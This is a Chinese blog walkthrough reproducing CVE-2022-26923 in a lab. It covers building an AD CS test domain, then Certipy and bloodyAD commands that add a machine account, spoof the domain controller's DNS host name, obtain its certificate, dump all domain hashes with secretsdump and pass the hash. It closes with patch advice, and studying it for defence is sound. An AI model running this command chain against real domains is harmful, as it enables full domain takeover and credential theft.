草庐IT

CVE-2022-26923 Windows域提权漏洞

VICE 2023-03-28 原文

前言

Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进行管理。
AD CS (Active Directory Certipy Server)是允许你构建公钥基础机构 (PKI) 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色。

漏洞影响范围

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

环境搭建

kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144

windows server 2012网络配置,这里想改计算机全名但是忘记了,如果要好记得名字,可以安装域前先改掉

这里用到了windows server 2012的环境,首先搭建windows server 2012的AD域服务和域服务证书,这里安装步骤除了勾选的地方其他默认下一步

点击提升域控制,添加新林,然后下一步还原密码后安装重启

ADCS证书安装,添加功能,勾选AD证书服务,添加web证书颁发,开始安装

配置证书服务,在角色服务勾选证书机构和证书web注册,其他可以一直下一步,这里为了其他配置不一样的读者,就都放出来了,都一样的可以选择跳过

配置成功结果图

创建低权限AD用户,点击AD用户和计算机,点击本地域 ,查找User,双击进入,找到Administrator用户 ,点击左侧新建,新建用户

新建用户test,填写全名,输入密码,勾选其他密码选项,选择密码永不过期和不能更改密码

配置window7网络配置以及加入域,这里加入域xming.com,用户是在域控新建的test,密码是自己在域设置的密码(注:我这里只用到kali 和window server 2012就没多加win7,方便演示,想用win7的老铁可以参考以下win7配置)

kali配置
在kali需要两个工具 Certipy 和bloody

certipy配置
https://github.com/ly4k/Certipy  //工具所在网址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的,也可以用proxychains,如果有的话)

这里我是直接去github下载再复制到kali,就跳过第二条命令

由于我这里因为pip没装,所以我又装了pip
pip安装的步骤参考此链接:https://www.cnblogs.com/BlogVice-2203/p/17011741.html

这里我遇到的报错是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0

然后再次安装有出现报错,说没有dsinternals,又得pip install dsinternals

如果没有遇到以下报错,就直接执行成功

配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt

这里报错了,需要下载一个libkrb5-dev包
apt-get install libkrb5-dev

总结一下上面bloodyAD安装
先执行apt-get install libkrb5-dev
再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号) 如上图所示
最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。

执行python3 bloodyAD.py -h,发现安装成功,到此环境就搭建完成了

漏洞复现

执行以下代码之前需要运行
pip3 install certipy-ad

这是我的申请CA证书的poc
certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User

然后再执行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144

创建及其账户到域

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144  getObjectAttributes "DC=xming,DC=com"  ms-DS-MachineAccountQuota
这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4 
没报错且运行出来的老铁可以不改

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

在LDAP中创建一个机器帐户,然后查看Active Directory 用户和计算机 点击computers 查看到test66是我们创建出来的机器账户

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
创建一个test66密码为jntm的机器账户

我们更新一下机器帐户的DNSHostName,但是这里出现了一个错误,我排除了一下是我们没有给DNS读取和写入的权限,勾选上两个权限,排除后重新执行就成功了

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'


python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

我们这里就使用伪造的计算机账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有

根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户

这里使用的是计算机账户模板(Machine),不再是User
certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug

生成一个win-ue0s6a9db79.pfx
这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错

certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144

这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去)

获取所有域中的所有hash

impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79

PTH获取域控

![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)

总结与修复建议

总结:该漏洞是由于安装了域证书服务(AD CS),攻击者可以使用计算机账户模板(Machine)创建机器账户,更新dnsname为域控的dnsname,获取所有域hash,进一步拿到域控管理员权限
修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中说到域证书服务和域服务可以不用安装到一台服务器,以规避风险

有关CVE-2022-26923 Windows域提权漏洞的更多相关文章

  1. ruby - 在 Ruby 程序执行时阻止 Windows 7 PC 进入休眠状态 - 2

    我需要在客户计算机上运行Ruby应用程序。通常需要几天才能完成(复制大备份文件)。问题是如果启用sleep,它会中断应用程序。否则,计算机将持续运行数周,直到我下次访问为止。有什么方法可以防止执行期间休眠并让Windows在执行后休眠吗?欢迎任何疯狂的想法;-) 最佳答案 Here建议使用SetThreadExecutionStateWinAPI函数,使应用程序能够通知系统它正在使用中,从而防止系统在应用程序运行时进入休眠状态或关闭显示。像这样的东西:require'Win32API'ES_AWAYMODE_REQUIRED=0x0

  2. ruby - 在 Windows 机器上使用 Ruby 进行开发是否会适得其反? - 2

    这似乎非常适得其反,因为太多的gem会在window上破裂。我一直在处理很多mysql和ruby​​-mysqlgem问题(gem本身发生段错误,一个名为UnixSocket的类显然在Windows机器上不能正常工作,等等)。我只是在浪费时间吗?我应该转向不同的脚本语言吗? 最佳答案 我在Windows上使用Ruby的经验很少,但是当我开始使用Ruby时,我是在Windows上,我的总体印象是它不是Windows原生系统。因此,在主要使用Windows多年之后,开始使用Ruby促使我切换回原来的系统Unix,这次是Linux。Rub

  3. Vscode+Cmake配置并运行opencv环境(Windows和Ubuntu大同小异) - 2

    之前在培训新生的时候,windows环境下配置opencv环境一直教的都是网上主流的vsstudio配置属性表,但是这个似乎对新生来说难度略高(虽然个人觉得完全是他们自己的问题),加之暑假之后对cmake实在是爱不释手,且这样配置确实十分简单(其实都不需要配置),故斗胆妄言vscode下配置CV之法。其实极为简单,图比较多所以很长。如果你看此文还配不好,你应该思考一下是不是自己的问题。闲话少说,直接开始。0.CMkae简介有的人到大二了都不知道cmake是什么,我不说是谁。CMake是一个开源免费并且跨平台的构建工具,可以用简单的语句来描述所有平台的编译过程。它能够根据当前所在平台输出对应的m

  4. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  5. 深度学习部署:Windows安装pycocotools报错解决方法 - 2

    深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal

  6. ruby - 如何在 Ruby 中执行 Windows CLI 命令? - 2

    我在目录“C:\DocumentsandSettings\test.exe”中有一个文件,但是当我用单引号编写命令时`C:\DocumentsandSettings\test.exe(我无法在此框中显示),用于在Ruby中执行命令,我无法这样做,我收到的错误是找不到文件或目录。我尝试用“//”和“\”替换“\”,但似乎没有任何效果。我也使用过系统、IO.popen和exec命令,但所有的努力都是徒劳的。exec命令还使程序退出,这是我不想发生的。提前致谢。 最佳答案 反引号环境就像双引号,所以反斜杠用于转义。此外,Ruby会将空格解

  7. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  8. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  9. ruby - 错误 : Failed to build gem native extension on Windows - 2

    我在安装“redcarpet”gem时遇到以下错误。它在我friend的机器上安装没有问题。(我想安装它来运行yard)ruby版本:1.9.3命令输出:D:\Learning\Common_POM_FW\SampleProjects>yard[error]:Missing'redcarpet'gemforMarkdownformatting.Installitwith`geminstallredcarpet`D:\Learning\Common_POM_FW\SampleProjects>geminstallredcarpetTemporarilyenhancingPATHtoinc

  10. ruby - 从 Ruby 连接到适用于 Windows Phone 8 的 Microsoft 推送通知服务 - 2

    我们正在开发一个需要推送通知的WP8应用程序。为了测试它,我们使用CURL命令行运行推送通知POST请求,确保它实际连接,使用客户端SSL证书进行身份验证并发送正确的数据。我们确实知道,当我们收到对设备的推送时,这项工作是有效的。这是我们一直用于测试目的的CURL命令:curl--certclient_cert.pem-v-H"Content-Type:text/xml"-H"X-WindowsPhone-Target:Toast"-H"X-NotificationClass:2"-XPOST-d"MytitleMysubtitle"https://db3.notify.live.ne

随机推荐